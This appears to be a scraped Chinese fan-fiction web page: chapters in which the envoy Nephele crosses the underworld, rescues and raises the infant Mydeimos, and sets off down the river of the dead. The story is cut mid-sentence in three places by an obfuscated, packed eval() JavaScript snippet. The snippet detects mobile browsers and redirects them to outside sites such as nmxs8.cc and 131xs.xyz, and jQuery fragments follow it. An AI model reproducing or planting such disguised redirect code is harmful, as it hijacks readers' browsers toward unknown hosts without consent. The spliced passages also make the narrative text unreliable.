“嗯，原来是一个「错误」。”他友好地摸了摸孩子的脑袋，“好了，我已将你「修复」。忘掉这段不愉快，继续你的生活吧。” 原来我们见过面，来古士。涅斐勒闭着眼睛，意识不清地想。他怎么会忘记？不过也只忘记了这么一段，那之后发生的事他永远不会忘记。 「孩子/涅斐勒」走向了荒野，没有任何理由，只是为了追逐内心的声音。在漫长的流浪后，他灰头土脸地找到了佩拉斯城的城址。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438476|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那里，所有的人都很友好，因为他们相信他的「症状」来自于和泰坦的连接，每个人都相信他会是个祭司的好苗子…… 现在，有了天外的一遭经历，「孩子/涅斐勒」有知识让他明白更多：他是一段「出现异常的代码」，一个不该以那种方式运行的「错误」。不管来古士出于什么目的试图修复他，但结果证明了，还是他的「异常/天赋」更胜一筹。 继续我的生活？哈哈，不行，因为你没能这个「错误」修复掉啊，来古士阁下！ 「孩子/涅斐勒」觉得爽快，身体却不分场合地涌起疲惫，让他想要就此睡去。 啊……他为什么回想起来这些事呢，总不能是因为又死了一次吧…… 这可不行啊，他还和别人有约，不能在这里「睡过去/死亡」。 想着想着，意识越来越清晰，无数魂灵从他身边游过，有的欢快地呼唤他加入和他们一起的旅程。但是涅斐勒不能。 挣脱死亡的罗网，死鱼一样爬上岸边。 涅斐勒趴在岸边，一股一股地咳出喉咙里呛满的河水。眼前，月光般幽蓝的花海在潺潺河畔摇曳。好在，好在他终于看到了这副光景。他终于脱力，翻身仰躺在地，看着头顶冥土幽深的夜空，在这无人陪伴的一刻释怀地露出笑容。 “哈哈……哈哈哈！没错，我就知道，我就知道！” 连冥河的诅咒都无法让他入睡，这难道还不足以说明事实吗！ 使者捂着脸大笑，仿佛证明了命运的公平，得到了理由正视自己的过去与未来。 使者的声音回响在冥河之畔。只有告死的北风叹息着聆听这悲哭与低诉。 “我就知道！那些诅咒不是白来的！” “我不是只能等候命运垂怜的人，我——能保护我身边的东西！” “没错，一定是这样……一定如此。” 使者轻轻说。 27. 冥界真是太诡异了 不管走了多远，冥界的景色还是毫无变化，美丽也好，荒芜也罢，都定格在不会产生改变的一刹，如翁法罗斯的遗相一般。 沿着冥河行走，涅斐勒能感觉到，他的灵魂就在这冥土的某处漂流。 “只差找到它了。”想到洗刷罪名只需要完成这一步，再找到通晓灵魂学的祭司，涅斐勒的心底泛起了温暖的波澜。 但这条路并没有看起来那么好走，冥界自始至终都并非什么安宁的地方。 再一次地，涅斐勒踩进了花丛遮掩下的黑色淤泥之中，有什么在拽着他下坠。 “又来这套。”涅斐勒一边下沉，一边叹着气，习惯性地平举双臂。 从虚空中，「剑士」现身，捞着涅斐勒的胳膊，拔萝卜般把他从淤泥里拔了出来。 这些淤泥的质地类似粘稠的黑潮，涅斐勒觉得那大概是死亡泰坦受到黑潮腐蚀后形成的东西，因为他从那些淤泥里同时感受到了两种气息。至于这些无处不在的陷阱到底是一种无意识的、自然存在的现象，还是某些存在刻意抛给他的难题，就不得而知了。 “这条路果然没那么好走。” 反复浸泡淤泥后涅斐勒的脚踝出现了一圈荆棘般的黑色蚀痕，活动时也出现了僵化的感觉。最不妙的是，那种僵化类似死亡时身体渐渐僵硬的感觉。 涅斐勒闭上眼睛，皱着眉想了一会，决定暂时折返。 “走吧。”涅斐勒对「剑士」说，“这样下去不是办法，我得找个办法处理这些泥巴。”毕竟总不能让他一路飞过去吧？ 涅斐勒想：既然身处冥界，那他现在岂不是处在灵魂的状态？得出这条结论的证据是：他走了很远一段路，可既感觉不到饿，也感觉不到累。 连带着对时间的感知都模糊了，冥界可没有靠泰坦的力量按时升起的太阳，倒是有一轮一直注视大地的银色月亮。 那轮月亮巨大而皎洁，只要看着它，就有种想要睡过去的欲望…… 睡过去？涅斐勒一惊，猛地晃动脑袋移开视线，脚下散发着微光的花海以舒缓的节奏摆动。冥界的东西，不管长什么样都无法斩断和死亡的联系啊。 但是，有什么不好呢？一道轻柔的声音在涅斐勒背后响起。死亡，对这片土地上的任何生灵来说都是种解脱。而你，孩子，你同样在这段旅途中感到疲惫不堪。在这里小憩一会，没有人会埋怨你，来吧，在这安宁的梦乡，睡吧，睡吧…… 咚！ 剑士及时地用剑背往涅斐勒失神的脸上拍了一下，后者皱起脸。 当意识到刚才遭受了死亡的诱惑时，涅斐勒沉默了一会，和剑士面面相觑。 “……刚才那动静真是吵死了。” 涅斐勒边说边起身——这片水域有些奇怪，他还是快点返回吧。 沿着来时的路，他折返向河流的上游。 冥河日以继夜地流淌着，河中漂流无数灵魂，色彩各异、质地不一。 珍珠白的泡沫从河水中升起。一小片鱼群从河中稀稀拉拉地游过，有着灿金鳞片和绯红尾巴的娇小鱼儿在几条小鱼中间来回穿梭，似乎在寻找某条特定的小鱼。 河畔的使者在水中留下银白的倒影。鱼儿发现了什么，凑到水面扬起一段波纹。 涅斐勒顿了顿，在原地驻足。他听到了什么动静，刚才那一瞬间，确实有什么熟悉的东西经过了他。 哗啦！鱼儿越出水面。啪嗒，啪嗒。娇小的鱼儿在岸边奋力扑腾尾巴，一点点接近使者的脚尖。 是鱼！涅斐勒寒毛直竖。 剑士感应到造主的情绪波动，持剑出现在他的身后，将他牢牢保护起来。但当它注意到引发恐惧的敌人仅仅是一条鱼时，剑士不动了。过了一会儿，它放下剑，捧起那条扑腾得越来越快的鱼抛进了水中。 “……谢谢，如果没有，你我真不知道该怎么生存。”涅斐勒有些不好意思。 冥界真是太诡异了。到处都是危险的黑泥，月亮和花海会让人犯困，总有奇怪声音在身后响起，连鱼都会从水里跳出来。 见识过这些东西后，涅斐勒敢用自己剩下的半个灵魂担保，绝对不会有什么东西再惊讶到他了。 然而，在这个念头从涅斐勒的脑海中出现的刹那，有一个物体在河面上漂流下来，乘着波浪，缓慢地经过涅斐勒和剑士面前。 他看清了那是什么：一个婴儿。一个尚在襁褓，被冥河的寒意包裹，一动不动地打着颤的婴儿。 涅斐勒：“……” 等等，他来的到底是冥界还是异世界？ 还是说这些东西在冥界都是正常的吗！ 使者掐着鼻梁缓和头痛的症状，本着人道主义精神摆摆手命令剑士将婴儿从水里打捞上来。那尾金色小鱼不知何时游走了。涅斐勒看看剑士，又看看被剑士塞到自己怀里的婴儿，认真思考了一下，问： “你觉得冥界有人能收养这孩子吗？” 剑士没有出声。不过就算它不出声，涅斐勒也知道问题的答案。他只是不想接过这个麻烦。而他也有充足的理由这样做：此行是为了寻回失去的魂魄，冥界危险重重，带着一个没有自保能力的累赘只是在给本就艰难的旅行再增添一些失败的可能。 失败本就够可怕了，遑论这次他不能失败。涅斐勒下定了决心，把婴儿抱起放到河面上——但剑士看着他，只是看着而已。涅斐勒看不到剑士面铠下的眼睛，但他能感受到那道带着愁绪的目光。这很正常，打造剑士的材料是墨忒斯留给他的红宝石。那是雅努萨波利斯的圣女送给亡者亲属的礼物。那里面融汇了一位圣女、同时也是一位母亲的意志与感情。以这份「记忆」作为质料打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438477|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 造的造物，会拥有这种感情不在意料之外。 涅斐勒说：“……这趟旅行很危险。” 剑士只是动了动脑袋，看着涅斐勒。 涅斐勒愣了一下，这是他第一次被「剑士」用这种眼神看着。 涅斐勒不得不反思自己的行为。在这个过程中，剑士依旧盯着他，像是在等待他做出选择。 过了很久，涅斐勒道： “……好、好，我知道，我知道了。” 使者在与剑士的对峙中妥协了——第一次，但估计不会是最后一次。 根据「等价交换」的原则，用蕴含强烈感情的记忆打造生命，其造物虽然强大，但往往也有着更复杂的心理特征。比起单纯的武器或工具，它们更适合被类比为拥有一定意志的使魔。在这种诡异之地，涅斐勒可不想跟身边的剑士出现嫌隙，他不想因陷入淤泥却呼唤不到剑士而在冥界永眠。 涅斐勒盯着怀里的“麻烦鬼”。如果这个孩子不出现，情况原本会更理想可控一点。 “……”剑士驻留了一会，确定试着不会抛弃这个顺流而下的孩子后，行礼消失。 涅斐勒看着剑士消失的位置，同样确定剑士不会回来后在原地席地而坐，斗篷在身后铺开。摸索了一阵，他从襁褓中发现了一串项链，项链上有一枚鲜红的水晶吊坠，有些眼熟，而吊坠后刻着一个名字。 “……迈德漠斯？” 涅斐勒想到那位悬锋王者使自己殒命的计划，看着孩子的眼神愈发复杂。在这段来回踏足河畔的日子里，现世的历史已经发展到这一地步了吗？ 通常来说，人的性情总是折中的，如果你要求一个身涉冥河的旅者照料一个来路不明的孩子，他会义正言辞地拒绝；但如果你告诉他，那个需要照料的孩子是汇聚了诸多麻烦的悬锋王子，他又会觉得只是照料一个来路不明的孩子真是太简单了。 涅斐勒想把襁褓中的孩子放在脚边的地上休息一会。但就在他将襁褓远离自己的躯体时，襁褓中的婴儿小幅度地动了动，呼吸变得越来越微弱。 没什么养育婴幼儿经验的使者奇怪了一会，忽然惊恐地意识到：和身体健康、得到剑士保护和泰坦祝福的自己不同，这是个没过两岁的孩子，而他是被剑士从那条冷得吓人的冥河里捞出来的！ 别休息了，再休息就不用休息了！ 涅斐勒立即打消了休息一下的念头，把通体冰凉的孩子裹在斗篷地下用身体暖热。 “你可是悬锋人，加把劲活一下，就当救救我不被自己的造物砍死。”涅斐勒头痛道。 好消息是，迈德漠斯——这个流淌着父母血液的孩子，的确如他在冥河中漂流而下的经历般有着一副健康又强健的体魄，以及属于战士的坚强的精神。即使环境恶劣，他还是安静地熟睡着。睡得很香甜。 28. 若能有生命在这怀抱停留 呵。涅斐勒在心中冷笑。自己的造物不听自己话了，要因为别人家的小孩跟自己闹脾气了，最重要的是，这招来矛盾的小麻烦鬼还得他主要照看。人一辈子要是过成他这样，那活着还有什么意思。 头皮传来疼痛。涅斐勒低下头，看着懵懂无知的罪魁祸首。嗯——看起来，哪怕这孩子是悬锋的王子，在心智成熟前也只是个调皮捣蛋的惹祸精。 “别拽我头发了。”涅斐勒试图从迈德漠斯小小的手里抢回自己的头发。但他发现了一个惊人的事实：他的力气居然只比迈德漠斯大那么一点儿，刚刚好差一点才能夺回头发的控制权。 涅斐勒面无表情道：“……「剑士」，帮我把这截头发割掉。” 宝剑的锋芒破空而至，精准地切断了被孩童抓在手中的银白卷发。 剑士并非离去，而是单膝跪地停在涅斐勒面前，似是在询问他是否需要一点帮助。 涅斐勒嗖地伸手，将怀里叫做迈德漠斯的幼小生命递向剑士。 剑士犹豫了一下，伸出手接过。但方才还在咯咯笑着，拽缰绳般拽着涅斐勒头发的孩子却呆呆地看着手心断掉的银发，挣扎着哭泣起来。 涅斐勒低声骂了一句佩拉斯粗口，强挤出耐心将迈德漠斯藏回了斗篷下。 但这样下去不是个事。涅斐勒看向待命的剑士，“帮我找点能哄小孩的东西来。” 剑士消失在原地，周围是随着剑光闪烁满天飞扬的荧蓝花瓣。几秒钟后，它捧着从河畔就地采来的花束，送到了涅斐勒面前。 “我很怀疑这东西有没有用。”涅斐勒直言道，但他还是腾出一只手接过了花。 “你喜不喜欢这个，迈德漠斯？” 涅斐勒把花束拿在迈德漠斯眼前晃来晃去，但他并没有收获一个破涕为笑的（并且不再对他的头发感兴趣的）小王子，反而在他开始这么做后不久，迈德漠斯开始止不住地打起了喷嚏。 使者倒吸一口凉气。他慢慢意识到，孩童就是这样的一种生物，不懂权衡利弊，也不懂妥协。它们只会在得到满足后微笑，在得不到满足时哭个不停。 让它们乖乖听话是行不通的，它们只会遵循自己的感觉行动，无论这会给人添多少麻烦。但正因如此，它们的感受一定是真实的。如果一个孩子开始哭泣，那一定是因为它又有什么想要的东西了。 “……所以你到底想要什么？”涅斐勒开始犯愁，就算知道了哄小孩的规律也还是无济于事，他还得搞清楚迈德漠斯想要的到底是什么。 剑士也凑过来，在涅斐勒点头后，用那双机械手灵活地做出各种动物的造型。 但没有用，哭声依旧在河畔响彻。 “行了，知道你不会说话了！稍微安静一点吧！”涅斐勒皱着眉，试图给一个不到两岁的孩子讲理：“冥界不是你们悬锋的宫殿，没有床，没有点心，连食物都没有。到底想要什么，你直接告诉我不行吗！” 很快，涅斐勒意识到了自己做的事到底有多么蠢。他沉默，低头看着怀里的小孩。 涅斐勒低下头，闭了闭眼，用自己的额头轻轻贴了贴迈德漠斯的额头。 “不管你想要什么，我只有这个。”涅斐勒移开额头，睁开眼，轻轻对迈德漠斯说。 “连我都要可怜你了，小家伙。明明出生时还是王子，现在却连乞丐的儿子都不如，没吃没喝，没地方住，还只能跟我这个一点都不喜欢你的大人生活在一起。” “……” 伸手摸了摸迈德漠斯奇美拉幼崽般毛茸茸的金发，涅斐勒陷入了沉默。 如果他的另一半记忆还在，是不是就能在记忆中看见追随他的佩拉斯人将自己的孩子抱给他看的画面？也许那对父母在期待眼前的大祭司为他们的孩子带去天空泰坦的祝福，好让他们的孩子能成长为一个健康、聪慧、虔诚的人。 算了，想这些也没有用。涅斐勒看了看奇迹般停止哭泣的迈德漠斯，小心翼翼地把他递到剑士怀中——用墨忒斯的记忆制造的剑士在抱孩子的姿势上比他标准多了，真不明白迈德漠斯为什么不肯被它抱一会——涅斐勒薅下那捧花束的花，双手将它们攥成一团，神迹的力量很快使花朵的形态发生了改变。 看着手心用冥界的花朵重塑的葡萄，涅斐勒做好心理准备，在剑士的陪伴里试探着吞下一颗。 “……呕！”虽然是葡萄，但是好酸！ 好啊，好啊。涅斐勒气极反笑。本来就够倒霉的，现在就连葡萄都要和他作对吗？ 涅斐勒挡开剑士的手和它臂弯里的迈德漠斯。 “绝对是材料的问题！这个知识点我从塞勒苏斯那里学过，我知道该怎么做！”涅斐勒捏爆了手中的葡萄，“我再试一次，你先在旁边看着，别来插手！” 一次，这次葡萄变成苦的了。 “……再来！” 两次，葡萄变甜了，但硬得硌牙。 “……再试一次。” 三次，葡萄只剩下葡萄皮了，如一张干瘪的垃圾袋般挂在葡萄籽的周围。 “你先看着他，我再试最后一次！” 在冥界，时间的流逝是难以把握的。但对于此刻和葡萄较上劲的使者来说，这也许是个不错的现象。 当当！ 甜——葡——萄—— 大约尝试几十次后，涅斐勒得意一笑。 “区区葡萄而已，这回搞定了，快过来尝尝。” 但剑士只是看着涅斐勒，隔着机械的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15438478|169313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩仿佛在问：欸？我吃葡萄？真的假的？ “不好意思。”涅斐勒手掌半握放在嘴边咳了咳，“忘记你没有这个功能了——那就换个人吧，我们三个里唯一的活人。” 是的，唯一的活人。在涅斐勒、涅斐勒的使魔和那位小王子中，只有后者是存在呼吸、饥饿与脉搏的活人。 剑士将葡萄切碎，切成类似果羹的糊状物落进涅斐勒随手塑造的碗里。 “来试试？麻烦的小殿下？不吃东西的话一不小心饿死怎么办。”涅斐勒发誓这疑似诅咒的话真的只是关心。 看着迈德漠斯没有拒绝，乖乖地吃掉这简陋的食物，涅斐勒终于能大胆呼吸了。 涅斐勒呼出一口气，终于散去烦躁，用指尖慢慢擦去迈德漠斯脸颊上的葡萄汁。 “注意点形象吧，小殿下。”涅斐勒说。 虽然要一个孩子注意形象有点苛刻了，但是作为王子不这么要求又不太合适。 涅斐勒在河边洗净双手，和不知何时出现在身后的剑士大眼瞪小眼。 “真辛苦，是吧？”涅斐勒看着眼前澄澈的河流说。 “我真好奇那些无法使用神迹的普通父母是用什么把一群像这样的麻烦小孩养活的。” 用耐心、理解、关怀、和爱——以及一些必要时恰到好处的忍让。如果剑士能够说话，涅斐勒大概会从拥有墨忒斯一部分意志的剑士口中得到这种回答。 “……”涅斐勒站起身，若无其事道：“既然如此，帮我计时。时间差不多了就提醒我准备东西。顺便，去附近找找有没有更合适的材料，人类的孩子在这个年纪不能只摄入水果的营养。” 剑士呆愣了一下，直到涅斐勒忍无可忍般回头对它说：“看我干什么，我能像你那样几个呼吸就跑出去几千米吗？” 剑士发现察觉到了什么。但它只是体贴地承载起这份不伤人的扭捏，前往远方。 这下，涅斐勒终于不用再面对第三人的注视了。 “你这个麻烦鬼，我在你这个年纪时可比你听话多了。”涅斐勒说着，低下头，在怀里的小脑袋上弹了一个有点痛的脑瓜崩。 小小的迈德漠斯呆了一下，盯着使者的脸，露出孩童特有的软软的笑。 于是，涅斐勒认输了。 “……唉。就当是我在替你母亲照顾你，等你长大了就立刻离我远远的，记住了吗？” 涅斐勒掐着鼻梁说。他作为使者，有自己的使命与方向，没有理由因为这突如其来的羁绊止步太久；而这孩子，则是悬锋城预言中的灭国之君，身虽年幼，却能漂泊冥河而不死。他的身上缠绕着悬锋人几千年的命数与抹不去的血气。 分别已是注定。但不是今天，不是现在。 29.使命其名 除却短暂的独行，其余的生命里，银发使者的身旁往往不乏陪伴与追随的人。他们献上祈祷、信任与爱，使者欣然笑纳，回应追随者自己所能给予的一切有益之物。构建这样的关系对使者而言已经形同本能。至于坚定、理性、忠诚、虔诚——皆是使者特意打磨的美德，是行过此程的必要之物。自从在神殿中接过老师的祭司头冠，使者便将这座城赋予自己的职责视作自己的使命。 你的职责，是以一生指引和帮助佩拉斯的子民。使者的老师对他说。即使你能得到的仅仅只是微不足道的感谢。 感谢？这已经足够了。使者说，从老师手中接过那顶镶嵌蓝钻的白银头冠。这就是我活着的意义，去做自己应该做的，去做自己能做到的，给这个世界带来一些不起眼但有用的改变，比如说，人们的笑容。 当这种「赋予即接受」的习惯被一直保留至今，在涅斐勒被迫承担起一个孩子的命运时，他几乎下意识用这种思维去思考：究竟给予什么才能让迈德谟斯作为一个健全的孩子长大。 “真不简单啊。” 涅斐勒感慨着，旋即抽出匕首，抵着头顶割下银色的长发。 “材料已经具备。”那么工程呢？ 要有像样的住所，他想到，于是勒令使魔在地上刻下环形的炼制术式，房屋拔地而起；要有修行的场地，他想到，剑士的锋芒削去自冥土生长出的机械巨木，只留下演武台般的巨大木桩；这样还不够，没有活人可以一直活在冥界，作为日后的王者，这个孩子必将回归人间。他需要读书学习，所以需要有足够的书本。 大功告成，涅斐勒揉了揉手腕。在那段失落的记忆里，像这样的事情，他恐怕也已做过一千遍了。就连忘却之后灵魂里也残留着类似的动作。只要心念产生，这无形的肢体也会自发地行动，创造想象中的结果。 涅斐勒顿了顿。 那他忘记的事还真是很多。 在一成不变的冥界，对涅斐勒来说，时间流逝的唯一标志就是迈德谟斯日渐长高的身体。他已经有些忘记第一次听到迈德谟斯能清楚连贯地说出一番话是什么日子，是来到冥界的第几天了，但那天，他的回应涅斐勒倒是记得很清楚。 “既然你已经能进行基本的语言交流了，那就从今天开始练习吧。” 他模仿着记忆里老师安吉奥的口吻，唤出「剑士」，剑士从虚空中缓缓抽出自己的双剑，同时取出一支通身银白的铁矛，抬手抛给迈德谟斯。 就算是悬锋人，也没办法在毫无指点的情况下理解怀抱里沉甸甸又硬邦邦的东西到底干什么用、又该怎么用。 还不及涅斐勒腿高的金发孩童干巴巴地说：“我不会。” “先试着握住它。”涅斐勒耐心道。 于是，迈德谟斯双手握住银矛，涅斐勒皱起眉——姿势好像不对，记忆里，歌尔戈抓起长矛追着他砍时不是这么握的。 “不太对。” “是吗……那、这样？” “还是不太一样。” 总感觉有哪里不对。涅斐勒的疑问化作一个自以为隐秘的俯视：难道是眼前的迈德谟斯比起他的母亲来说太矮力气又太小？又或者悬锋人并 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这是个意外的答案。粉碎了涅斐勒对那位王妃绝大部分的判断。 “总觉得被歌尔戈算计了啊。”虽然他也是自投罗网就是了。 涅斐勒摇摇头，决定先不管过程，专注眼前的结果。 “算了，不管那些。”说着，涅斐勒从圆台边缘撤下，将场地让给需要它的二人。 他说：“至少现在，你可以当迈德谟斯的老师了。” 30.所谓命运的终末 日复一日，再复一日，命运的足音愈发接近。他不怎么与这个孩子交流。并非因为起初拥有却在后来的相处中消散的介怀，而是因为：不管是谁，和一个注定分开的人太过亲近，等到了离别的那日，岂不是会感到悲伤吗？ 悲伤暗示着弱点，涅斐勒清楚：不管是他自己还是迈德谟斯，都没有能将弱点展示于人的宿命。所以说，他不能悲伤。 或许是发现了这一点，迈德谟斯总是很安静。黄金的剑士在涅斐勒的默许下寸步不离地守候着他，虽不能言，却用行动向他展示它具备的一切战斗技艺。除了在进食与训练的时候，迈德谟斯会例行地回答涅斐勒提出的问题，让对方了解自己的成长，其余的日子里，他或是不知所踪，或是在河岸边抱着银色的战矛，带着对于这个年纪的孩子而言过分冷漠的表情凝视着咫尺之遥的水波。 “迈德谟斯。”为了让眼前的孩童觉得自在一些，尽管现在的「身体」并不需要，涅斐勒还是会准时出现在花海畔的餐桌旁，和真正需要这些食物的迈德谟斯一同用餐，谈论二人最近的生活或是冥土之外的世界。不过，今天他开口，并非为了以上的原因。 “我用掘出的黏土造了一艘船。”涅斐勒看着迈德谟斯放下餐具后微微抬起的脸，平静地宣告：“等到下次训练结束我就会离开，前往冥河的尽头，某片繁花盛开的海渚，那片灵魂搁浅之地。” 是吗，那这次离开意味着什么？迈德谟斯沉默地思考了一会，问：“我能提问吗？” “当然可以。”涅斐勒说，“我能理解。毕竟，如果我是你，应该也有不少问题想问。” “你会死吗？”迈德谟斯问。 涅斐勒怀疑自己听错了，“什、什么？” “你会死吗，涅斐勒？” “先不论我会不会的问题，迈德谟斯，你为什么这么问？”涅斐勒揉了揉眉心。 看起来，迈德谟斯并没有觉得自己的问题（或问法）有什么问题。他在重复了一遍自己说过的话后，接着说： “因为，我看到了。顺着那条河的流向一直向下，在这条河开始干涸的位置，满地都是黑色的污泥。” 涅斐勒听出了些许不对，沉声问：“等一等，迈德谟斯。你刚才的话是在表明，你在什么时候自己去了那片河滩？”那片在最初将他阻隔在外，令他原路折返的河边沼泽。 “是，我去过。”迈德谟斯回答。 刹那间，脑中的思绪一下变得凌乱，涅斐勒闭上眼，将那一瞬的烦躁尽数隐藏。 他睁开眼，看着眼前的孩子。 “我记得我说过那片河滩的危险。但——幸好你还活着。” 他明白迈德谟斯为什么会冷不丁问出那样一个问题了：在他没注意到的时候，迈德谟斯早就探索了周围的地界，他大概是遭遇了什么，所以才会清楚那些淤泥的危险，质疑他到底有没有能力确保自己的安危。 “这个问题一会你就知道。”涅斐勒回答道，“比起这个，其它的呢？”迈德谟斯关心的应该不止这一个问题吧？ 的确如此。除了这个问题，还有两个问题一直萦绕在迈德谟斯的脑中，如漂流的梦魇一般挥之不去。 “你要去哪里？”迈德谟斯低声问。出口后，又觉得这样有些怯弱，皱了皱眉，再度问：“会带我一起吗？” 涅斐勒注意到，迈德谟斯询问的用词不是“能”，而是“会”，这令他一时沉默。 也许，这位命运多舛的王子早就察觉到常伴身侧的使者眼中并没有他的身影，使者的存在早已作为祭品为他心目中唯一的使命献上。纵使千夫所指，纵使横渡生死。而他在这个故事中，只是一个无力左右使者做出选择的过客。 所以他没有问“能”。如果使者不想，如果他还是选择将对自己的目标来说无关紧要的孩子抛弃于冥界，那么对于这个被抛弃的孩子来说，他没有任何改变这一切的手段。 但，这不对吧？自己会把他扔这儿？这孩子怎么会这么想？涅斐勒的手指先是抚上自己的半脸，而后将整张脸捂了起来。他都把船准备好了——备注，双人座——难不成他辛辛苦苦整出这东西，在迈德谟斯眼里是为了在他坐船感到无聊时可以一会坐左边一会坐右边的吗？ “这问题太蠢了，下次就别问了。”涅斐勒放下手点评道，但还是一一做出了回答。 “我要去冥河的尽头找到半个灵魂，把它打捞带走，然后想办法回到现世。”涅斐勒回答，“至于你，你的命运不可能也不应该停留在这里，所以，我当然会和你一起。” 但是，迈德谟斯并没有因为这个回答感到平静。 他平静地问：“那，我的父母呢？” 涅斐勒听出了迈德谟斯的未尽之语。既然连萍水相逢的你都愿意让我乘上这只渡过冥河的 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“小时候，我患有一种「幻听」的怪病，会因为一些不存在的声音不受控制地做出让别人烦恼的行为。那时，整个村子的人都不喜欢我，他们觉得我是被黑潮诅咒的孩子，当然了，也包括我的父母。” 涅斐勒闭着眼，回想道。 “所以有一天我，干脆离开了村子——顺便一提，迈德谟斯。” 涅斐勒睁开眼，蓝眸平静地注视着迈德谟斯的眼睛，那眼中透露着思考——那是一种涅斐勒很少在好战的悬锋战士眼中看到的东西。 “在这个年代，现世灾厄肆虐，像你我这样流落异乡的人并不罕见。你也好，我也罢，能做的事只有让自己和身边的人尽可能地活下去而已。” 所以，何必因这种理由而迷茫。为什么不先想想：你的面前就站着一个主动拥抱遗弃和孤独，一路行至如今的人？ “别多想了，就算要让你走，也是在回到现世之后。” 涅斐勒起身，向迈德谟斯点头。那袭斗篷之下是单薄的祭司长袍，幸亏感觉不到寒冷，否则这样的穿着可抵不住河畔的冷风。 “但如果你实在需要我，我个人不介意在没有麻烦时，在你身边多留一段时间。” 这回开心了吧？涅斐勒他看着迈德谟斯脸上对应着轻松的细微表情。几年前你整天薅我头发的时候，我就知道你这麻烦鬼异于悬锋人的脑袋里一天天到底在想什么了。 31.河流 小船顺水而下，淤积的黑潮徒劳地追逐小船浸水处的水花。涅斐勒坐在船头，环抱手臂远眺冥河尽头，无色无味的湿润空气中夹杂着清淡的花香。 “怎么样，虽然这副景色你也该看腻了，但是一边坐在船上，一边欣赏两岸的风景，这种体验还是没有过的吧？” 迈德漠斯点点头。波浪越来越大，船体开始不是控制地摇晃。河面上不知从哪里扬来了一片雪白的雾气，大雾愈发浓烈，嗅觉捕捉到了刺鼻的花香。 涅斐勒抓住小船的边缘保持平衡，他的袖口和衣角都被飞溅进来的河水打湿。异象突生，但涅斐勒的表情依旧冷淡平静，这种情况他早就预料到了。 在摇晃的小船上，涅斐勒向迈德漠斯伸出另一只手。 “迈德漠斯，把手给我。” 迈德漠斯照做了，放开船舷，将因为过度用力而发白的手指放在了涅斐勒手中。 但，这还不算完。被黑潮污染的冥土漂浮着许多或许连死亡泰坦本尊都不曾了解的诅咒。许多无手无脚的透明黑影在小船周围浮现，都低着头颅，从四面八方向着同一个方向前进。涅斐勒看着它们前进的方向，巧的是，那也是他要去的方向。 雾突然浓了，犹如被泼下白墨一般，涅斐勒连抓住小船的手都看不见了。就在这不真实的一刻，他忽然听到雾里传来一道带着回音的声音。涅斐勒心中一紧，松开抓着船舷的手，转而揪住胸口的衣服。眯起眼向雾里看去，呈现在眼前的是从未见过的景象。 背景是奥赫玛的浴池，温热的水蒸气充斥了整个空间。人声鼎沸，涅斐勒身上的长袍在一袭浴袍的人们之间竟显得闷热。还没来得及弄清到底发生了什么，池边，一滴蒸汽凝结的露水从装饰性绿叶植物巨大的龟甲形叶片上滑落，掉在水中。 涟漪向周围扩散，碰到了一双手。涅斐勒看到，他出身尊贵的金发友人正背对他靠在池边，从池上漂浮的木板举起酒杯，同样如黄金般辉耀的眼睛带着淡淡笑意轻慢地扫过身后的人。 “是你啊，涅斐勒。”「戈尔卡斯」对涅斐勒举杯致意。 涅斐勒缓步走去，在池边蹲下，却没有真的踏入那片冒着腾腾水汽的浴池。 「戈尔卡斯」仰头，笑着观察涅斐勒的表情，温柔地看着他：“遇到麻烦事了？”他成竹在胸地说。 涅斐勒移开视线，轻轻说：“是啊，确实麻烦……遇到了一个欠他人情的人。” 「戈尔卡斯」笑着露出疑惑的表情。 和塞勒苏斯不同，涅斐勒之所以能得到那位奥赫玛大祭司的友谊，更多是因为他对那位祭司的目标有足够的利用价值。他没打算否定或越过那条界限，想必背负奥赫玛命运的戈尔卡斯同样没有。换言之，他想知道究竟是什么让那位绝非冲动之人的大祭司做出了“帮助佩拉斯”的决定。 涅斐勒不敢直视那双金眸，而「戈尔卡斯」的反应则更令他心痛。 “别提这个了，休息会吧。”虚妄的幻影说，“你那些公务，明天再处理也无妨。” 涅斐勒起身。他等的，就是这个足以让妄想破碎的反应。 “不必了。”涅斐勒说。 哪怕知道这是假的，但还是有一刻，涅斐勒想要和虚假的泡影说说话。 使者的身后徒留讶然的友人。浴池边镶嵌的瓷片仿佛变成了生死的边界，分开了心愿未了的活人和已然瞑目的死人。 他走出奥赫玛的浴池，眼前的路渐渐被雾气遮住，涅斐勒干脆闭上眼睛，追随本能向着雾中的某个方向前进。 终于，热气变冷，冥土的北风吹过了使者的发梢。 涅斐勒从失神中恢复，船舷上，剑士踮脚伫立，那头赤焰般的红发被吹动。 他甚至有心情说：“看来偷懒的时间还算短，起码你没拿那把剑的剑背拍我的脑袋。” 